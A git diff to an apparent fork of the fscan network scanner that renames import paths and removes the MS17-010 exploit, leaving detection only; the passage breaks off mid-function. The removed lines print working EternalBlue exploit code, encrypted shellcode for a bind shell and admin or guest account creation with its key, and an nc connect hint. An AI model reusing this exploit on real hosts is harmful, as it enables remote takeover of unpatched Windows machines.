struct { diff --git a/plugins/services/ipmi.go b/plugins/services/ipmi.go index c07109dc..6688fa6d 100644 --- a/plugins/services/ipmi.go +++ b/plugins/services/ipmi.go @@ -7,8 +7,8 @@ import ( "fmt" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type IPMIPlugin struct { diff --git a/plugins/services/jdwp.go b/plugins/services/jdwp.go index f625f20a..e1e2d412 100644 --- a/plugins/services/jdwp.go +++ b/plugins/services/jdwp.go @@ -8,8 +8,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) var jdwpHandshake = []byte("JDWP-Handshake") diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index 1e5af2dd..39e5e6c6 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -11,9 +11,9 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // KafkaPlugin Kafka扫描插件(纯 raw TCP 实现,无重型依赖) @@ -165,7 +165,7 @@ func kafkaSend(conn net.Conn, apiKey, apiVersion int16, body []byte) error { corrID := nextKafkaCorrelationID() // 请求格式: [4B len] [2B api_key] [2B api_version] [4B corr_id] [2B client_id_len] [client_id] [body] - clientID := "fscan" + clientID := "kafka-cli" totalLen := 2 + 2 + 4 + 2 + len(clientID) + len(body) buf := make([]byte, 4+totalLen) binary.BigEndian.PutUint32(buf[0:4], uint32(totalLen)) diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index 1d62ef23..3596de5e 100644 --- a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -8,9 +8,9 @@ import ( "time" ldaplib "github.com/go-ldap/ldap/v3" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // LDAPPlugin LDAP扫描插件 diff --git a/plugins/services/memcached.go b/plugins/services/memcached.go index fd5874d6..e4ecb51e 100644 --- a/plugins/services/memcached.go +++ b/plugins/services/memcached.go @@ -8,9 +8,9 @@ import ( "net" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // MemcachedPlugin Memcached扫描插件 diff --git a/plugins/services/modbus.go b/plugins/services/modbus.go index 0e27fe68..f8edbf30 100644 --- a/plugins/services/modbus.go +++ b/plugins/services/modbus.go @@ -8,8 +8,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type ModbusPlugin struct { diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 2fb7d28e..9f648061 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -19,9 +19,9 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" "golang.org/x/crypto/pbkdf2" ) diff --git a/plugins/services/mqtt.go b/plugins/services/mqtt.go index 8ca8163d..5bddb0ba 100644 --- a/plugins/services/mqtt.go +++ b/plugins/services/mqtt.go @@ -10,8 +10,8 @@ import ( "net" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) var mqttConnectPacket = []byte{ diff --git a/plugins/services/ms17010.go b/plugins/services/ms17010.go index f6ed73af..6fb2f2d4 100644 --- a/plugins/services/ms17010.go +++ b/plugins/services/ms17010.go @@ -11,16 +11,15 @@ import ( "encoding/hex" "fmt" "net" - "os" "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) -// MS17010Plugin MS17-010漏洞检测和利用插件 - 保持完整的原始利用功能 +// MS17010Plugin MS17-010漏洞检测插件(仅检测,不含利用功能) type MS17010Plugin struct { plugins.BasePlugin } @@ -32,8 +31,6 @@ func NewMS17010Plugin() *MS17010Plugin { } } -// GetPorts 实现Plugin接口 - // Scan 执行MS17-010扫描 func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() @@ -82,92 +79,9 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session } } -// Exploit 执行MS17-010漏洞利用 -func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult { - config := session.Config - target := info.Target() - session.LogSuccess(i18n.Tr("ms17010_start", target)) - - var output strings.Builder - output.WriteString(i18n.Tr("ms17010_exploit_header", target) + "\n") - - // 首先确认漏洞存在 - vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) - if err != nil { - output.WriteString("\n" + i18n.Tr("ms17010_exploit_check_failed", err) + "\n") - return &ExploitResult{ - Success: false, - Output: output.String(), - Error: err, - } - } - - if !vulnerable { - output.WriteString("\n" + i18n.GetText("ms17010_exploit_not_vulnerable") + "\n") - return &ExploitResult{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")), - } - } - - output.WriteString("\n" + i18n.GetText("ms17010_exploit_confirmed") + "\n") - if osVersion != "" { - output.WriteString(i18n.Tr("ms17010_exploit_os", osVersion) + "\n") - } - - if hasBackdoor { - output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_found") + "\n") - } else { - output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_not_found") + "\n") - } - - // 如果有Shellcode配置,执行实际利用 - if config.Shellcode != "" { - output.WriteString("\n" + i18n.Tr("ms17010_exploit_mode", config.Shellcode) + "\n") - output.WriteString(i18n.GetText("ms17010_exploit_start_attack") + "\n") - - // 执行实际的MS17010利用 - err = p.executeMS17010Exploit(info, session) - if err != nil { - output.WriteString(i18n.Tr("ms17010_exploit_failed", err) + "\n") - return &ExploitResult{ - Success: false, - Output: output.String(), - Error: err, - } - } - output.WriteString(i18n.GetText("ms17010_exploit_success") + "\n") - - // 根据不同类型提供后续操作建议 - switch config.Shellcode { - case "bind": - output.WriteString("\n" + i18n.GetText("ms17010_exploit_bind_hint") + "\n") - fmt.Fprintf(&output, " nc %s 64531\n", info.Host) - case "add": - output.WriteString("\n" + i18n.GetText("ms17010_exploit_add_hint") + "\n") - output.WriteString(i18n.GetText("ms17010_exploit_add_credential") + "\n") - fmt.Fprintf(&output, " RDP: mstsc /v:%s\n", info.Host) - case "guest": - output.WriteString("\n" + i18n.GetText("ms17010_exploit_guest_hint") + "\n") - } - } else { - output.WriteString("\n" + i18n.GetText("ms17010_exploit_detect_only") + "\n") - output.WriteString(i18n.GetText("ms17010_exploit_shellcode_hint") + "\n") - output.WriteString(i18n.GetText("ms17010_exploit_supported_modes") + "\n") - } - - session.LogSuccess(i18n.Tr("ms17010_complete", target)) +// SMB握手数据加解密工具函数 - return &ExploitResult{ - Success: true, - Output: output.String(), - } -} - -// 以下是完整的原始MS17010检测和利用代码,保持不变 - -// AES解密函数 (从legacy/Base.go复制) +// AES解密函数 func aesDecrypt(crypted string, key string) (string, error) { cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) if err != nil { @@ -202,10 +116,10 @@ func aesDecrypt(crypted string, key string) (string, error) { return string(cryptedBytes[:len(cryptedBytes)-padding]), nil } -// 默认AES解密密钥 (从legacy代码复制) +// AES解密密钥 var defaultKey = "0123456789abcdef" -// SMB协议加密的请求数据 (从原始MS17010.go复制) +// SMB协议检测请求数据(仅用于漏洞检测,不含利用载荷) var ( negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" @@ -285,7 +199,7 @@ func init() { } } -// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配) +// checkMS17010Vulnerability 检测MS17-010漏洞(SMBv1协议握手+特征匹配) func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, bool, error) { return p.checkMS17010VulnerabilityAt(ctx, net.JoinHostPort(ip, "445"), session) } @@ -407,76 +321,6 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address return false, osVersion, false, nil } -// executeMS17010Exploit 执行MS17010漏洞利用 -func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *common.ScanSession) error { - config := session.Config - var sc string - - // 根据不同类型选择shellcode (从MS17010-Exp.go复制) - switch config.Shellcode { - case "bind": - // Bind Shell shellcode (加密) - scEnc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" - var err error - sc, err = aesDecrypt(scEnc, defaultKey) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_bind_shellcode_decrypt_failed"), err) - } - - case "add": - // 添加管理员账户 shellcode (加密) - scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8" - var err error - sc, err = aesDecrypt(scEnc, defaultKey) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_add_shellcode_decrypt_failed"), err) - } - - case "guest": - // 激活Guest账户 shellcode (加密) - scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" - var err error - sc, err = aesDecrypt(scEnc, defaultKey) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err) - } - - case "cs": - sc = "" - - default: - // 从文件读取或直接使用提供的shellcode - shellcode := config.Shellcode - if strings.Contains(shellcode, "file:") { - read, err := os.ReadFile(shellcode[5:]) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_file_read_failed"), err) - } - sc = fmt.Sprintf("%x", read) - } else { - sc = shellcode - } - } - - // 验证shellcode有效性 - if len(sc) < 20 { - return fmt.Errorf("%s", i18n.GetText("ms17010_invalid_shellcode")) - } - - // 解码shellcode - scBytes, err := hex.DecodeString(sc) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_decode_failed"), err) - } - - if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil { - return fmt.Errorf("MS17-010 exp failed: %w", err) - } - - session.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes))) - return nil -} - // init 自动注册插件 func init() { // 使用高效注册方式:直接传递端口信息,避免实例创建 diff --git a/plugins/services/ms17010_exp.go b/plugins/services/ms17010_exp.go deleted file mode 100644 index 56ccb36e..00000000 --- a/plugins/services/ms17010_exp.go +++ /dev/null @@ -1,1058 +0,0 @@ -//go:build plugin_ms17010 || !plugin_selective - -package services - -import ( - "bytes" - "encoding/binary" - "fmt" - "io" - "net" - "time" -) - -func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { - // check sc size - const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 - l := len(sc) - if l > maxscSize { - //fmt.Println(maxscSize) - return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) - } - payload := makeKernelUserPayload(sc) - var ( - grooms int - err error - ) - for i := 0; i < maxAttempts; i++ { - grooms = initialGrooms + 5*i - err = exploit(address, grooms, payload) - if err == nil { - return nil - } - } - return err -} - -func exploit(address string, grooms int, payload []byte) error { - // connect host - header, conn, err := smb1AnonymousConnectIPC(address) - if err != nil { - return err - } - defer func() { _ = conn.Close() }() - // send SMB1 large buffer - _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - err = smb1LargeBuffer(conn, header) - if err != nil { - return err - } - // initialize groom threads - fhsConn, err := smb1FreeHole(address, true) - if err != nil { - return err - } - defer func() { _ = fhsConn.Close() }() - // groom socket - groomConns, err := smb2Grooms(address, grooms) - if err != nil { - return err - } - fhfConn, err := smb1FreeHole(address, false) - if err != nil { - return err - } - _ = fhsConn.Close() - // grooms - groomConns2, err := smb2Grooms(address, 6) - if err != nil { - return err - } - _ = fhfConn.Close() - groomConns = append(groomConns, groomConns2...) - defer func() { - for i := 0; i < len(groomConns); i++ { - _ = groomConns[i].Close() - } - }() - - //fmt.Println("Running final exploit packet") - err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - if err != nil { - return err - } - treeID := header.TreeID - userID := header.UserID - finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") - _, err = conn.Write(finalPacket) - if err != nil { - return fmt.Errorf("failed to send final exploit packet: %s", err) - } - raw, _, err := smb1GetResponse(conn) - if err != nil { - return fmt.Errorf("failed to get response about exploit: %s", err) - } - ntStatus := make([]byte, 4) - ntStatus[0] = raw[8] - ntStatus[1] = raw[7] - ntStatus[2] = raw[6] - ntStatus[3] = raw[5] - - //fmt.Printf("NT Status: 0x%08X\n", ntStatus) - - //fmt.Println("send the payload with the grooms") - - body := makeSMB2Body(payload) - - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[:2920]) - if err != nil { - return err - } - } - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[2920:4073]) - if err != nil { - return err - } - } - return nil -} - -func makeKernelUserPayload(sc []byte) []byte { - // test DoublePulsar - buf := bytes.Buffer{} - buf.Write(loader[:]) - // write sc size - size := make([]byte, 2) - binary.LittleEndian.PutUint16(size, uint16(len(sc))) - buf.Write(size) - buf.Write(sc) - return buf.Bytes() -} - -func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { - conn, err := net.DialTimeout("tcp", address, 10*time.Second) - if err != nil { - return nil, nil, fmt.Errorf("failed to connect host: %s", err) - } - var ok bool - defer func() { - if !ok { - _ = conn.Close() - } - }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, nil, fmt.Errorf("failed to negotiate: %s", err) - } - raw, header, err := smb1AnonymousLogin(conn) - if err != nil { - return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) - } - _, err = getOSName(raw) - if err != nil { - return nil, nil, fmt.Errorf("failed to get OS name: %s", err) - } - //fmt.Println("OS:", osName) - header, err = treeConnectAndX(conn, address, header.UserID) - if err != nil { - return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) - } - ok = true - return header, conn, nil -} - -const smbHeaderSize = 32 - -type smbHeader struct { - ServerComponent [4]byte - SMBCommand uint8 - ErrorClass uint8 - Reserved byte - ErrorCode uint16 - Flags uint8 - Flags2 uint16 - ProcessIDHigh uint16 - Signature [8]byte - Reserved2 [2]byte - TreeID uint16 - ProcessID uint16 - UserID uint16 - MultiplexID uint16 -} - -func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { - // net BIOS - buf := make([]byte, 4) - _, err := io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about NetBIOS session service: %s" - return nil, nil, fmt.Errorf(format, err) - } - typ := buf[0] - if typ != 0x00 { - const format = "invalid message type 0x%02X in SMB1 response" - return nil, nil, fmt.Errorf(format, typ) - } - sizeBuf := make([]byte, 4) - copy(sizeBuf[1:], buf[1:]) - size := int(binary.BigEndian.Uint32(sizeBuf)) - // 畸形响应(size < SMB 头长度)会导致后续 buf[:smbHeaderSize] 越界 panic - if size < smbHeaderSize { - return nil, nil, fmt.Errorf("SMB1 response too short: %d bytes", size) - } - // SMB - buf = make([]byte, size) - _, err = io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about header: %s" - return nil, nil, fmt.Errorf(format, err) - } - smbHeader := smbHeader{} - reader := bytes.NewReader(buf[:smbHeaderSize]) - err = binary.Read(reader, binary.LittleEndian, &smbHeader) - if err != nil { - const format = "failed to parse SMB1 response header: %s" - return nil, nil, fmt.Errorf(format, err) - } - return buf, &smbHeader, nil -} - -func smbClientNegotiate(conn net.Conn) error { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x54}) - - // --------Server Message Block Protocol-------- - - // server_component: .SMB - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb_command: Negotiate Protocol - buf.WriteByte(0x72) - // NT status - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x01, 0x28}) - // process_id_high - buf.Write([]byte{0x00, 0x00}) - // signature - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // process id - buf.Write([]byte{0x2F, 0x4B}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0xC5, 0x5E}) - - // --------Negotiate Protocol Request-------- - - // word_count - buf.WriteByte(0x00) - // byte_count - buf.Write([]byte{0x31, 0x00}) - - // dialect name: LAN MAN1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, - 0x30, 0x00}) - - // dialect name: LM1.2X002 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, - 0x32, 0x00}) - - // dialect name: NT LAN MAN 1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, - 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) - - // dialect name: NT LM 0.12 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, - 0x31, 0x32, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return err - } - _, _, err = smb1GetResponse(conn) - return err -} - -func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // session message - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x88}) - - // --------Server Message Block Protocol-------- - - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT SUCCESS - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // Signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // Signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // TreeID - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0D) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x88, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC Number - buf.Write([]byte{0x00, 0x00}) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // ANSI password length - buf.Write([]byte{0x01, 0x00}) - // unicode password length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) - // bytes count - buf.Write([]byte{0x4b, 0x00}) - // ANSI password - buf.WriteByte(0x00) - // account name - buf.Write([]byte{0x00, 0x00}) - // domain name - buf.Write([]byte{0x00, 0x00}) - - // native OS: Windows 2000 2195 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 